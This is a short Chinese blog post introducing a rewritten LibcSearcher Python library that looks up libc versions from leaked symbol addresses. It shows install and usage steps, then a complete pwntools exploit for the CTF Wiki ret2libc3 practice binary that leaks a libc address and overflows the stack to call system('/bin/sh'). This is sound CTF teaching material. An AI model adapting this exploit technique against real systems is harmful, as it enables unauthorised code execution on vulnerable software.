- Author:ZERO-A-ONE
- Date:2021-11-27
这里介绍一个全新的 LibcSearcher 实现。基于 libc-database云端数据库而非本地数据库。原版 LibcSearcher 仓库由于年久失修,经测试发现其基本失效
项目地址如下:https://github.com/dev2ero/LibcSearcher
安装:
pip3 install LibcSearcher
使用方法:
from LibcSearcher import *
obj = LibcSearcher("fgets", 0x7ff39014bd90) # 使用一个已知符号地址作为初始约束,初始化 LibcSearcher
obj.add_condition("atoi", 218528) # 添加一个约束条件
obj.dump("printf") # 根据已有约束条件,查询某个符号在 Libc 中的地址
此外,比起以上原版接口,添加了如下些许姿势
len(obj) # 返回在当前约束条件下,可能的 Libc 数量
print(obj) # 若 Libc 已被唯一确定,打印其详细信息
for libc in obj :
print(libc) # 实现了迭代器,打印(或其它操作)当前所有可能的 Libc
obj.select_libc() # 打印可能的 Libc 列表,手动选择一个认为正确的 Libc
obj.select_libc(2) # 手动选择 2 号 Libc 作为正确的 Libc
具体举例使用的话以CTF Wiki里的Ret2Libc3为例,EXP改写为
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print ("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print ("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher("__libc_start_main", libc_start_main_addr)
#libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print ("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()